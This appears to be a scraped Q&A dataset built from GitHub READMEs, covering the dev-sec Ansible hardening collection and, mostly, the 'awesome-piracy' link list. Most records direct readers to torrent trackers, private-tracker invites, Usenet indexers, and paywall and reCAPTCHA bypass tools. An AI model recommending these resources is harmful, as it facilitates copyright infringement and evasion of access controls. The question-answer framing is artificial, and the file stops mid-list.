{"id": "gh_856252f0127d", "question": "How to: Included content", "question_body": "About dev-sec/ansible-collection-hardening", "answer": "- [os_hardening](roles/os_hardening/)\n- [mysql_hardening](roles/mysql_hardening/)\n- [nginx_hardening](roles/nginx_hardening/)\n- [ssh_hardening](roles/ssh_hardening/)\n\nIn progress, not working:\n\n- [apache_hardening](roles/apache_hardening/)\n- [windows_hardening](roles/windows_hardening/)", "tags": ["dev-sec"], "source": "github_gists", "category": "dev-sec", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 5124, "answer_score": 10, "has_code": false, "url": "https://github.com/dev-sec/ansible-collection-hardening", "collected_at": "2026-01-17T08:18:57.620385"}
{"id": "gh_5e5ad46ec626", "question": "How to: Installation", "question_body": "About dev-sec/ansible-collection-hardening", "answer": "Install the collection via ansible-galaxy:\n\n`ansible-galaxy collection install devsec.hardening`", "tags": ["dev-sec"], "source": "github_gists", "category": "dev-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 5124, "answer_score": 10, "has_code": false, "url": "https://github.com/dev-sec/ansible-collection-hardening", "collected_at": "2026-01-17T08:18:57.620390"}
{"id": "gh_df601ae44934", "question": "How to: Using this collection", "question_body": "About dev-sec/ansible-collection-hardening", "answer": "Please refer to the examples in the readmes of the role.\n\nSee [Ansible Using collections](https://docs.ansible.com/ansible/latest/user_guide/collections_using.html) for more details.", "tags": ["dev-sec"], "source": "github_gists", "category": "dev-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 5124, "answer_score": 10, "has_code": false, "url": "https://github.com/dev-sec/ansible-collection-hardening", "collected_at": "2026-01-17T08:18:57.620396"}
{"id": "gh_8c05c272025e", "question": "How to: Release notes", "question_body": "About dev-sec/ansible-collection-hardening", "answer": "See the [changelog](https://github.com/dev-sec/ansible-os-hardening/tree/master/CHANGELOG.md).", "tags": ["dev-sec"], "source": "github_gists", "category": "dev-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 5124, "answer_score": 10, "has_code": false, "url": "https://github.com/dev-sec/ansible-collection-hardening", "collected_at": "2026-01-17T08:18:57.620401"}
{"id": "gh_5712c589645e", "question": "How to: More information", "question_body": "About dev-sec/ansible-collection-hardening", "answer": "General information:\n\n- [Ansible Collection overview](https://github.com/ansible-collections/overview)\n- [Ansible User guide](https://docs.ansible.com/ansible/latest/user_guide/index.html)\n- [Ansible Developer guide](https://docs.ansible.com/ansible/latest/dev_guide/index.html)\n- [Ansible Collections Checklist](https://github.com/ansible-collections/overview/blob/master/collection_requirements.rst)\n- [Ansible Community code of conduct](https://docs.ansible.com/ansible/latest/community/code_of_conduct.html)\n- [The Bullhorn (the Ansible Contributor newsletter)](https://us19.campaign-archive.com/home/?u=56d874e027110e35dea0e03c1&id=d6635f5420)\n- [Changes impacting Contributors](https://github.com/ansible-collections/overview/issues/45)", "tags": ["dev-sec"], "source": "github_gists", "category": "dev-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 5124, "answer_score": 10, "has_code": false, "url": "https://github.com/dev-sec/ansible-collection-hardening", "collected_at": "2026-01-17T08:18:57.620408"}
{"id": "gh_af4fcf8faed3", "question": "How to: How to use this list", "question_body": "About Igglybuff/awesome-piracy", "answer": "Some items in this list could easily fit in more than one category, so to make sure you find what you're looking for please use `Ctrl + F` (or `Cmd + F` on macOS).", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637126"}
{"id": "gh_bf62e01461db", "question": "How to: Background Information", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Wikipedia \"File sharing\" category](https://en.wikipedia.org/wiki/Category:File_sharing) Wikipedia's full list of file-sharing related articles.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637139"}
{"id": "gh_3ed348bd5ee4", "question": "How to: VPN Guides and Tutorials", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [That One Privacy Site](https://thatoneprivacysite.net/vpn-section/) VPN section of That One Privacy Site with VPN comparisons\n- [Choosing the best VPN (for you)](https://www.reddit.com/r/VPN/comments/4iho8e/that_one_privacy_guys_guide_to_choosing_the_best/?st=iu9u47u7&sh=459a76f2) That One Privacy Guy's - Guide to Choosing the Best VPN (for you)\n- [/r/VPN wiki](https://www.reddit.com/r/VPN/wiki/index) Helpful FAQ-type resource composed by the folks at /r/VPN\n- [Choosing the VPN that's right for you](https://ssd.eff.org/en/module/choosing-vpn-thats-right-you) Helpful guide from the EFF\n- [Which VPN services keep you anonymous in 2018?](https://torrentfreak.com/vpn-services-keep-anonymous-2018/) TorrentFreak Article by Ernesto\n- [privacytools.io](https://www.privacytools.io/) \"Encryption against global mass surveillance\". Plenty of information to help protect your privacy online.\n- [VPN over SSH](https://wiki.archlinux.org/index.php/VPN_over_SSH) ArchWiki page describing how to achieve a poor man's VPN with SSH tunneling\n- [/r/VPNTorrents](https://www.reddit.com/r/VPNTorrents) This is for the discussion of torrenting (and similar P2P protocols) using VPN type technology.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637158"}
{"id": "gh_b82983c8d0e3", "question": "How to: VPN Subscription Services", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Private Internet Access](https://www.privateinternetaccess.com/) :star2: Hugely popular subscription-based VPN provider with a proven track record for not keeping logs\n- [Mullvad](https://mullvad.net/en/) A Bitcoin-friendly, privacy-first VPN.\n- [ProtonVPN](https://protonvpn.com/) High-speed Swiss VPN that safeguards your privacy.\n- [NordVPN](https://nordvpn.com/) With NordVPN, encrypt your online activity to protect your private data from hackers or snoopy advertisers.\n- [Windscribe](https://windscribe.com/) Simple VPN, has a free plan that gives you 10gb/mo bandwidth, paid version even has port forwarding for static IPs, privacy-focused.\n- [ExpressVPN](https://www.expressvpn.com/vpnmentor1) VPN with 256-bit encryption, 94 countries, and no logs. It is also rated as one of the fastest VPNs out there.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637164"}
{"id": "gh_bf2756b51838", "question": "How to: Self-hosted VPNs", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [n2n](https://github.com/ntop/n2n) Peer-to-peer VPN\n- [PeerVPN](https://peervpn.net/) PeerVPN is a software that builds virtual ethernet networks between multiple computers.\n- [OpenVPN](https://openvpn.net/) :star2: OpenVPN provides flexible VPN solutions to secure your data communications, whether it's for Internet privacy, remote access for employees, securing IoT, or for networking Cloud data centers.\n- [Nebula](https://github.com/slackhq/nebula) A scalable overlay networking tool with a focus on performance, simplicity and security\n- [Pritunl](https://pritunl.com/) Enterprise Distributed OpenVPN and IPsec Server\n- [WireGuard VPN](https://www.wireguard.com/) WireGuard is an extremely simple yet fast and modern VPN that utilizes state-of-the-art cryptography. It aims to be faster, simpler, leaner, and more useful than IPSec.\n- [sshuttle](https://github.com/sshuttle/sshuttle) Transparent proxy server that works as a poor man's VPN.\n- [ZeroTier](https://www.zerotier.com) Peer-to-peer multi-platform VPN\n- [Outline by Alphabet](https://www.getoutline.org/) Not exactly a VPN, but is strong in privacy and security. Works with DO, Google Cloud, AWS and more.\n- [Mysterium Network](https://mysterium.network/) Open-source VPN client and server software. It can be used to sell your spare bandwidth for cryptocurrency.\n- [tinc](https://tinc-vpn.org/) Peer-to-peer VPN software with mesh routing.\n- [OpenConnect](https://www.infradead.org/openconnect/) Multiplatform VPN compatible with Cisco's AnyConnect. Uses well-tested, standard TLS connections which easily bypass DPI.\n- [Shadowsocks](https://shadowsocks.org/) Secure SOCKS proxy used in China for bypassing the Great Firewall.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637172"}
{"id": "gh_fa7980a7e560", "question": "How to: Browser Extensions", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Decentraleyes](https://decentraleyes.org/) Protects against tracking with a local CDN (Content Delivery Network) emulation.\n- [Privacy Badger](https://www.eff.org/privacybadger) Privacy Badger blocks spying ads and invisible trackers.\n- [HTTPS Everywhere](https://www.eff.org/https-everywhere) HTTPS Everywhere is a Firefox, Chrome, and Opera extension that encrypts your communications with many major websites, making your browsing more secure.\n- [uBlock Origin](https://github.com/gorhill/uBlock) :star2: An efficient blocker for Chromium and Firefox. Fast and lean.\n- [TamperMonkey](https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo?hl=en) The world's most popular userscript manager\n- [WebRTC Network Limiter](https://chrome.google.com/webstore/detail/webrtc-network-limiter/npeicpdbkakmehahjeeohfdhnlpdklia?hl=en) Configures how WebRTC's network traffic is routed by changing Chrome's privacy settings.\n- [ScriptSafe](https://chrome.google.com/webstore/detail/scriptsafe/oiigbmnaadbkfbmpbfijlflahbdbdgdf?hl=en) A browser extension that gives users control of the web and more secure browsing while emphasizing simplicity and intuitiveness.\n- [NoScript](https://noscript.net/getit) Allow active content to run only from sites you trust, and protect yourself against XSS and clickjacking attacks. Firefox only.\n- [Burlesco](https://burles.co/en/) Read the news without subscribing, bypass the paywall\n- [Universal Bypass](https://github.com/Sainan/Universal-Bypass) Universal Bypass automatically skips annoying link shorteners.\n- [Violentmonkey](https://violentmonkey.github.io/) An open-source userscript manager.\n- [Anti-Paywall](https://github.com/nextgens/anti-paywall) A browser extension that maximizes the chances of bypassing paywalls\n- [Google Unlocked](https://github.com/Ibit-to/google-unlocked) Uncensor google search results.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637180"}
{"id": "gh_7a03af02e727", "question": "How to: Userscripts", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [IMDb Scout](https://greasyfork.org/en/scripts/3967-imdb-scout) Add links from IMDb pages to torrent sites -- easy downloading from IMDb\n- [IMDb Scout Mod](https://greasyfork.org/en/scripts/407284-imdb-scout-mod) Adds links to IMDb pages from the torrent, ddl, subtitles, streaming, usenet and other sites.\n- [AdsBypasser](https://adsbypasser.github.io/) This user script helps you to skip countdown ads or continue pages and prevent ad pop-up windows.\n- [AntiAdware](https://greasyfork.org/en/scripts/4294-antiadware) Remove forced download accelerators, managers, and adware on supported websites\n- [Direct download from Google Play](https://greasyfork.org/en/scripts/33005-direct-download-from-google-play/) Adds APKPure, APKMirror and Evozi download buttons to Google Play when browsing apps.\n- [AdGuard Popup Blocker](https://github.com/AdguardTeam/PopupBlocker) Popup Blocker by AdGuard is a userscript that blocks all unwanted pop-up windows in different browsers.\n- [Torrentz2 Magnet](https://greasyfork.org/en/scripts/21547-torrentz2-magnet) Add magnet link to torrentz2\n- [Bypass paywalls for scientific documents](https://greasyfork.org/en/scripts/35521-bypass-paywalls-for-scientific-documents) This script adds download buttons on Google Scholar, Scopus, and Web Of Science, which lead to sci-hub.tw.\n- [Bypass Google Sorry (reCAPTCHA)](https://greasyfork.org/en/scripts/33226-bypass-google-sorry-recaptcha) Redirect Google reCAPTCHA to a new search window.\n- [Google Image \"View Image\" button](https://greasyfork.org/en/scripts/392076-google-images-direct-link-fix) Add \"View Image\" button. This is a fork of the original.\n- [MoreCAPTCHA](https://greasyfork.org/en/scripts/31088-morecaptcha) Speeds up solving Google reCAPTCHA challenges by shortening transition effects and providing continuous selection ability.\n- [MAL-Sync](https://greasyfork.org/en/scripts/372847-mal-sync) Integrates MyAnimeList into various sites, with auto episode tracking.\n- [Remove fake TPB torrents](https://www.removeddit.com/r/Piracy/comments/78aicx/i_wrote_a_small_script_that_automatically_hides/) Script that automatically hides fake torrents on The Pirate Bay based on conditional logic.\n- [Get DLC Info from SteamDB](https://cs.rin.ru/forum/viewtopic.php?t=71837) For use with CreamAPI and similar tools.\n- [The Pirate Bay Cleaner](https://greasyfork.org/en/scripts/1573-the-pirate-bay-cleaner) Auto-sorting, torrentifying, theme-change, search-change, SSL/HTTPS and more.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637188"}
{"id": "gh_f6da59c4dae5", "question": "How to: Password Vaults", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [BitWarden](https://bitwarden.com/) :star2: Open source password management solution, can be self-hosted\n- [1Password](https://1password.com/) Popular cloud-hosted password manager\n- [KeePass](https://keepass.info/) Free, open source, light-weight, and easy-to-use password manager.\n  - [Plugins](https://keepass.info/plugins.html) : A list of third-party plugins for KeePass\n  - Android: [Keepass2Android](https://github.com/PhilippC/keepass2android)\n  - iPhone: [KeePassium](https://keepassium.com/)\n  - Chrome: [Tusk](https://chrome.google.com/webstore/detail/keepass-tusk-password-acc/fmhmiaejopepamlcjkncpgpdjichnecm)\n  - Firefox: [Tusk](https://addons.mozilla.org/en-US/firefox/addon/keepass-tusk)\n  - Web App: [KeeWeb](https://keeweb.info/)\n- [LastPass](https://www.lastpass.com/) LastPass remembers all your passwords, so you don't have to.\n- [Pass](https://www.passwordstore.org/) Simple GPG/Git password manager. Follows the Unix philosophy.\n- [Dashlane](https://www.dashlane.com/) An intuitive password manager with over with over 8 million users worldwide.\n- [Passbolt](https://www.passbolt.com/) Free, open source, self-hosted, extensible, OpenPGP based.\n- [LessPass](https://lesspass.com/) Stateless open source password manager\n- [Psono](https://psono.com/) Open source and self-hosted password manager for teams\n- [Buttercup](https://buttercup.pw/) Another open source password manager with desktop, mobile, and browser clients.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637195"}
{"id": "gh_a56d68b387d9", "question": "How to: Windows 10 Privacy", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [O&O ShutUp10](https://www.oo-software.com/en/shutup10) O&O ShutUp10 means you have full control over which comfort functions under Windows 10 you wish to use, and you decide when the passing on of your data goes too far.\n- [Windows 10 Privacy Guide](https://github.com/adolfintel/Windows10-Privacy) :star2: an In-depth guide on purging Windows 10 of Microsoft's attempts to track you\n- [Windows Privacy Tweaker](https://www.phrozen.io/freeware/windows-privacy-tweaker/) Freeware app from phrozen.io\n- [Winaero](https://winaero.com/blog/about-us/) Free, small and useful software for Windows.\n- [WPD](https://wpd.app/) The real privacy dashboard for Windows\n- [Destroy-Windows-10-Spying](http://m.majorgeeks.com/files/details/destroy_windows_10_spying.html) Destroy Windows Spying tool\n- [Tron](https://www.reddit.com/r/TronScript) Tron, an automated PC cleanup script\n- [Tallow](https://github.com/basil00/TorWall) Tallow is a transparent Tor firewall and proxying solution for Windows.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637202"}
{"id": "gh_97c2b742c8fe", "question": "How to: Decentralised Networks", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Tor](https://www.torproject.org/) :star2: Tor is free software and an open network that helps you defend against traffic analysis.\n- [I2P](https://geti2p.net/en/) I2P is an anonymous overlay network - a network within a network. It is intended to protect communication from dragnet surveillance and monitoring by third parties such as ISPs.\n- [Freenet](https://freenetproject.org) Freenet is free software which lets you anonymously share files, browse and publish \"freesites\" (web sites accessible only through Freenet) and chat on forums, without fear of censorship.\n- [Zeronet](https://zeronet.io/) Open, free and uncensorable websites, using Bitcoin cryptography and BitTorrent network\n- [Loki](https://github.com/loki-project/loki-network) Lokinet is an anonymous, decentralized and IP based overlay network for the internet.\n- [IPFS](https://ipfs.io/) A peer-to-peer hypermedia protocol designed to make the web faster, safer, and more open.\n- [Yggdrasil](https://yggdrasil-network.github.io/about.html) Makes use of a global spanning tree to form a scalable IPv6 encrypted mesh network.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637209"}
{"id": "gh_b3fe94bf5180", "question": "How to: Operating Systems", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Qubes OS](https://www.qubes-os.org/) Qubes OS is a security-oriented operating system\n- [Tails](https://tails.boum.org/) Tails is a live operating system that you can start on almost any computer from a USB stick or a DVD.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637213"}
{"id": "gh_a04ea752aae9", "question": "How to: Domain Names", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Njalla](https://njal.la/) a privacy-aware domain registration service\n- [xip.io](http://xip.io/) magic domain name that provides wildcard DNS\nfor any IP address.\n- [Domainr](https://domainr.com/) Domainr finds domain names and short URLs. Instantly check availability and register for all top-level domains.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637218"}
{"id": "gh_58f35c6bb4f3", "question": "How to: Torrenting", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [/r/torrents](https://www.reddit.com/r/torrents) Questions and discussion about all things torrent-related\n- [BitTorrent](https://en.wikipedia.org/wiki/BitTorrent) Wikipedia's article on the BitTorrent file sharing protocol\n- [Live Tracer](https://trace.corrupt-net.org/live.php) Pre-time tracer for scene releases\n- [magent2torrent.me](http://magnet2torrent.me/) Converts magnet links to torrent files\n- [mgnet.me](http://mgnet.me/) Magnet URI shortener\n- [Torrent🧲Parts](https://torrent.parts/) - Inspect and edit what's in your Torrent file or Magnet link\n- [Torrage](https://torrage.info/) Torrage is a free service for caching torrent files online.\n- [peerflix Google Search](https://www.google.com/search?q=peerflix+site%3Aherokuapp.com) Searches Heroku-deployed instances of Peerflix for streaming torrents\n- [Torznab](https://nzbdrone.readthedocs.io/Implementing-a-Torznab-indexer/) Newznab-like API offering a standardized recent/search API for both TV and movies\n- [xbit](https://xbit.pw) Magnet link repository\n- [torrents.csv](https://gitlab.com/dessalines/torrents.csv) Torrents.csv is a collaborative repository of torrents, consisting of a single, searchable torrents.csv file.\n- [torrents-csv.ml](https://torrents-csv.ml) The above torrents.csv hosted.\n- [mktorrent](https://github.com/Rudde/mktorrent) mktorrent is a simple command line utility to create BitTorrent metainfo files.\n- [Torrent Paradise](https://torrent-paradise.ml/) IPFS-based decentralised torrent search engine.\n- [torrent.nz](https://torrent.nz/) Torrent.nz is a magnet torrent search engine.\n- [magnetico](https://github.com/boramalper/magnetico) Autonomous (self-hosted) BitTorrent DHT search engine suite", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637230"}
{"id": "gh_37f00ec65019", "question": "How to: Tracker Aggregators", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [snowfl](https://snowfl.com/) snowfl is a torrent aggregator which searches various public torrent indexes in real-time\n- [Torrents.me](https://torrents.me/) Torrents.me combines popular torrent sites and specialized private trackers in a torrent multisearch.\n- [rats-search](https://github.com/DEgITx/rats-search) P2P Bittorrent search engine\n- [AIO Search](http://www.aiosearch.com/) Torrent search engine\n- [SolidTorrents](https://solidtorrents.net) :star2: A clean, privacy focused torrent search engine.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637250"}
{"id": "gh_02d7845f4207", "question": "How to: Tracker Proxies", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Jackett](https://github.com/Jackett/Jackett) API Support for your favorite torrent trackers.\n- [Cardigann](https://github.com/cardigann/cardigann) A proxy server for adding new indexers to Sonarr, SickRage, and other media managers\n- [nzbhydra2](https://github.com/theotherp/nzbhydra2/) :star2: Primarily a Usenet metasearch engine but also supports Torznab", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637255"}
{"id": "gh_e3acd97b0f5f", "question": "How to: Tracker Invites", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [/r/OpenSignups](https://www.reddit.com/r/opensignups) Open Signups - When Private Trackers Open Their Doors To The Public\n- [/r/Invites](https://www.reddit.com/r/invites) Post wanted ads for private tracker invites here\n- [Open sign-ups thread](https://www.reddit.com/r/trackers/comments/7ildxx/open_signups_thread/) /r/trackers thread for posting trackers that are currently open for registration.\n- [Opentrackers.org](https://opentrackers.org/) Private Torrent Trackers & File Sharing\n- [getting_into_private_trackers](https://www.reddit.com/r/trackers/wiki/getting_into_private_trackers) :star2: Helpful resource from the /r/trackers wiki", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637260"}
{"id": "gh_ec2f098f7af6", "question": "How to: Torrent Clients", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [qBitTorrent](https://www.qbittorrent.org/) Popular, lightweight, multi-platform torrent client\n- [qBitTorrent search function](https://www.techsupportalert.com/qbittorrent-help-torrent-search-engine) Allows you to search popular trackers directly from qBittorrent\n- [qBitTorrent plugins for public sites](https://github.com/qbittorrent/search-plugins/wiki/Unofficial-search-plugins#plugins-for-public-sites) List of qBitTorrent plugins for searching public torrent sites.\n- [Transmission](https://transmissionbt.com/) Default torrent client in many distros.\n- [Popcorn Time](https://github.com/popcorn-official/popcorn-desktop) Popcorn Time is a multi-platform, free software BitTorrent client that includes an integrated media player.\n- [Butter Project](http://butterproject.org/) A legal fork of Popcorn Time which is configurable to allow for custom sources of video\n- [BitLord](http://www.bitlord.com/) Another BitTorrent streaming client\n- [Tixati](https://tixati.com/) Lightweight torrent client for Windows and Linux\n- [PicoTorrent](https://picotorrent.org/) A lightweight and minimalistic torrent client for Windows\n- [FrostWire](https://www.frostwire.com/) FrostWire is a Free and open-source BitTorrent client first released in September 2004, as a fork of LimeWire.\n- [peerflix](https://github.com/mafintosh/peerflix) Streaming torrent client for node.js\n- [RapidBay](https://github.com/hauxir/rapidbay) Rapid bay is a self-hosted video service/torrent client that makes playing videos from torrents easy.\n- [Tornado](https://tornado-torrent.gitlab.io/posts/first-beta/) Tornado is a modern web-first BitTorrent client designed with usability in mind. Based on Transmission.\n\n#### Deluge\n- [Deluge](https://www.deluge-torrent.org/) :star2: Deluge is a lightweight, Free Software, cross-platform BitTorrent client.\n- [AutoRemovePlus](https://github.com/omaralvarez/deluge-autoremoveplus) Auto removing of deluge torrents\n- [ltConfig](https://github.com/ratanakvlun/deluge-ltconfig/releases)\nltConfig is a plugin for Deluge that allows direct modification to libtorrent settings and has preset support.\n- [Deluge Plugins](https://dev.deluge-torrent.org/wiki/Plugins) List of official and third-party plugins for Deluge\n\n#### rTorrent\n- [rTorrent](https://rakshasa.github.io/rtorrent/) :star2: rTorrent is a text-based ncurses BitTorrent client written in C++\n- [ruTorrent](https://github.com/Novik/ruTorrent) Yet another web front-end for rTorrent\n- [rTorrent Community wiki](https://github.com/rtorrent-community/rtorrent-community.github.io/wiki) GitHub wiki for rTorrent\n- [rTorrent Docs](https://rtorrent-docs.readthedocs.io/en/latest/) Comprehensive manual and user guide for the rTorrent bittorrent client\n- [rutorrent-themes](https://github.com/InAnimaTe/rutorrent-themes) A collection of default and new, original themes for ruTorrent.\n- [flood](https://github.com/jfurrow/flood) A web UI for rTorrent with a Node.js backend and React frontend.\n- [rTorrent ArchWiki Page](https://wiki.archlinux.org/index.php/RTorrent) Detailed article to answer most common questions about rTorrent\n- [rTorrent Seedbox Guide](https://jes.sc/kb/rTorrent-ruTorrent-Seedbox-Guide.php) This guide is a single-page, comprehensive guide to take you step-by-step through installation and configuration.\n- [rtorrent-ps](https://github.com/pyroscope/rtorrent-ps) Extended rTorrent distribution with a fully customizable canvas and colors, other feature additions, and complete docs.\n- [pyrocore](https://github.com/pyroscope/pyrocore) A collection of tools for the BitTorrent protocol and especially the rTorrent client\n- [rTorrent research](https://calomel.org/rtorrent_mods.html) security modifications and other hacks for usability\n- [rutorrent-all-seeders](https://github.com/AkdM/rutorrent-all-seeders) This ruTorrent plugin adds the columns 'All Seeders' to the torrents list.\n\n#### WebTorrent Clients\n- [magnetoo](https://www.magnetoo.io/) Fancy new in-browser WebTorrent streaming service\n- [βTorrent](https://btorrent.xyz/) fully-featured [WebTorrent](https://webtorrent.io/) browser client written in HTML, JS and CSS\n- [WebTorrent Desktop](https://webtorrent.io/desktop/) WebTorrent Desktop is for streaming torrents.\n- [Instant.io](https://instant.io/) Streaming file transfer over WebTorrent (torrents on the web)", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637275"}
{"id": "gh_685dfacdbf5d", "question": "How to: autodl-irssi", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [autodl-irssi](https://autodl-community.github.io/autodl-irssi/) autodl-irssi is a plugin for irssi that monitors IRC announce channels for torrent trackers and downloads torrent files based on user-defined filters.\n- [autodl-curl-sonarr](https://github.com/Zymest/autodl-curl-sonarr) Script to use as upload-command for autodl-irssi to post to Sonarr\n- [mreg](https://github.com/Igglybuff/mreg) Generates a \"Match releases\" expression for your autodl-irssi filter based on dvdsreleasedates.com's \"Most Requested DVD Release Dates\" section.\n- [Slack notifications for autodl-irssi](https://gist.github.com/Igglybuff/00d5e91274a562ac724d358bbbc8bc7b) Guide by yours truly on enabling Slack notifications for autodl-irssi", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637281"}
{"id": "gh_57ccdabc5b84", "question": "How to: Tracker Frameworks", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Torrent-Tracker-Platforms](https://github.com/HDVinnie/Torrent-Tracker-Platforms) A Curated List Of Torrent Tracker Platforms/Codebases Written In Multiple Coding Languages\n- [UNIT3D](https://github.com/HDInnovations/UNIT3D) The Nex-Gen Private Torrent Tracker (Aimed For Movie / TV Use)\n- [meanTorrent](https://github.com/taobataoma/meanTorrent) A BitTorrent Private Tracker CMS with Multilingual, and IRC announce support, Cloudflare support.\n- [NexusPHP](https://github.com/ZJUT/NexusPHP) BitTorrent private tracker scripts written in PHP.\n- [Gazelle](https://whatcd.github.io/Gazelle/) :star2: web framework geared towards private torrent trackers with a focus on music\n- [opentracker](https://erdgeist.org/arts/software/opentracker/) Opentracker is an open and free BitTorrent tracker project.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637289"}
{"id": "gh_7bc4a7c3eb02", "question": "How to: Usenet Indexers", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [/r/Usenet wiki: indexers](https://www.reddit.com/r/Usenet/wiki/indexers) Information about /r/Usenet's favourite indexing services\n\n#### Usenet Indexing Software\n- [nZEDb](https://github.com/nZEDb/nZEDb) a fork of nnplus(2011) | NNTP / Usenet / Newsgroup indexer.\n- [newznab-tmux](https://github.com/NNTmux/newznab-tmux) Laravel based usenet indexer\n- [newznab](http://www.newznab.com/) newznab is a usenet indexing application, that makes building a usenet community easy.\n- [nZEDb-deploy](https://github.com/PREngineer/nZEDb-deploy) A collection of scripts to automate and simplify the deployment of a nZEDb Usenet Indexer using the new format of their GitHub repository.\n\n#### Paid Indexers\n- [NZBgeek](https://nzbgeek.info/) Affordable Usenet indexer operating since 2014.\n- [NZBFinder](https://nzbfinder.ws/) Usenet indexer and newznab API with a clean UI and 8+ year backlog of NZBs.\n- [DrunkenSlug](https://drunkenslug.com/) :star2: Popular NZB indexer with a free tier and decent retention.\n- 